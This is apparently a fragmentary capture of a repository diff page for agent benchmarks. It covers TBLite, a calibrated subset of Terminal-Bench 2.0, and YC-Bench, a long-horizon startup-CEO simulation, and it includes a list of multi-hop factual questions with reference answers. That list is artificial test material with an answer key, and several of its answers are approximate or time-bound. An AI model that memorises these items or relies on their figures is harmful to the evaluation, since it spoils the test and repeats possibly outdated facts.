- **Docker images:** `nousresearch/tblite-<task-name>:latest` on Docker Hub (100 images)
The conversion script is at `scripts/prepare_tblite_dataset.py`.
## Why TBLite?
Terminal-Bench 2.0 is one of the strongest frontier evaluations for terminal agents, but when a model scores near the floor (e.g., Qwen 3 8B at <1%), many changes look identical in aggregate score. TBLite addresses this by calibrating task difficulty using Claude Haiku 4.5 as a reference:
| Difficulty | Pass Rate Range | Tasks |
|------------|----------------|-------|
| Easy | >= 70% | 40 |
| Medium | 40-69% | 26 |
| Hard | 10-39% | 26 |
| Extreme | < 10% | 8 |
This gives enough solvable tasks to detect small improvements quickly, while preserving enough hard tasks to avoid saturation. The correlation between TBLite and TB2 scores is **r = 0.911**.
TBLite also runs 2.6-8x faster than the full TB2, making it practical for iteration loops.
`TBLiteEvalEnv` is a thin subclass of `TerminalBench2EvalEnv`. All evaluation logic (agent loop, Docker sandbox management, test verification, metrics) is inherited. Only the defaults differ:
system_prompt:"You are an expert terminal agent. You MUST use the provided tools to complete tasks. Use the terminal tool to run shell commands, read_file to read files, write_file to write files, search_files to search, and patch to edit files. Do NOT write out solutions as text - execute them using the tools. Always start by exploring the environment with terminal commands."
[YC-Bench](https://github.com/collinear-ai/yc-bench) by [Collinear AI](https://collinear.ai/) is a deterministic, long-horizon benchmark that tests LLM agents' ability to act as a tech startup CEO. The agent manages a simulated company over 1-3 years, making compounding decisions about resource allocation, cash flow, task management, and prestige specialisation across 4 skill domains.
Unlike TerminalBench2 (which evaluates per-task coding ability with binary pass/fail), YC-Bench measures **long-term strategic coherence** — whether an agent can maintain consistent strategy, manage compounding consequences, and adapt plans over hundreds of turns.
The environment initialises the simulation via `yc-bench sim init` (NOT `yc-bench run`, which would start yc-bench's own built-in agent loop). Our `HermesAgentLoop` then drives all interaction through CLI commands.
### Simulation Mechanics
- **4 skill domains**: research, inference, data_environment, training
- **Prestige system** (1.0-10.0): Gates access to higher-paying tasks
- **Employee management**: Junior/Mid/Senior with domain-specific skill rates
- **Throughput splitting**: `effective_rate = base_rate / N` active tasks per employee
- **Financial pressure**: Monthly payroll, bankruptcy = game over
- **Deterministic**: SHA256-based RNG — same seed + preset = same world
"question":"What is the current population of the capital city of the country that won the 2022 FIFA World Cup?",
"answer":"Buenos Aires has approximately 3 million people in the city proper, or around 15 million in the greater metro area.",
"difficulty":"medium",
"hops":2,
},
{
"question":"Who is the CEO of the company that makes the most widely used open-source container orchestration platform?",
"answer":"The Linux Foundation oversees Kubernetes. CNCF (Cloud Native Computing Foundation) is the specific body — it does not have a traditional CEO but has an executive director.",
"difficulty":"medium",
"hops":2,
},
{
"question":"What programming language was used to write the original version of the web framework used by Instagram?",
"answer":"Django, which Instagram was built on, is written in Python.",
"difficulty":"easy",
"hops":2,
},
{
"question":"In what year was the university founded where the inventor of the World Wide Web currently holds a professorship?",
"answer":"Tim Berners-Lee holds a professorship at MIT (founded 1861) and the University of Southampton (founded 1952).",
"difficulty":"hard",
"hops":3,
},
{
"question":"What is the latest stable version of the programming language that ranks #1 on the TIOBE index as of this year?",
"answer":"Python is currently #1 on TIOBE. The latest stable version should be verified via the official python.org site.",
"difficulty":"medium",
"hops":2,
},
{
"question":"How many employees does the parent company of Instagram have?",
"answer":"Meta Platforms (parent of Instagram) employs approximately 70,000+ people as of recent reports.",
"difficulty":"medium",
"hops":2,
},
{
"question":"What is the current interest rate set by the central bank of the country where the Eiffel Tower is located?",
"answer":"The European Central Bank sets rates for France/eurozone. The current rate should be verified — it has changed frequently in 2023-2025.",
"difficulty":"hard",
"hops":2,
},
{
"question":"Which company acquired the startup founded by the creator of Oculus VR?",
"answer":"Palmer Luckey founded Oculus VR, which was acquired by Facebook (now Meta). He later founded Anduril Industries.",
"difficulty":"medium",
"hops":2,
},
{
"question":"What is the market cap of the company that owns the most popular search engine in Russia?",
"answer":"Yandex (now split into separate entities after 2024 restructuring). Current market cap should be verified via financial sources.",
"difficulty":"hard",
"hops":2,
},
{
"question":"What was the GDP growth rate of the country that hosted the most recent Summer Olympics?",
"answer":"Paris, France hosted the 2024 Summer Olympics. France's recent GDP growth should be verified via World Bank or IMF data.",
print(f"[hooks] Error in handler for '{event_type}': {e}",flush=True)
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
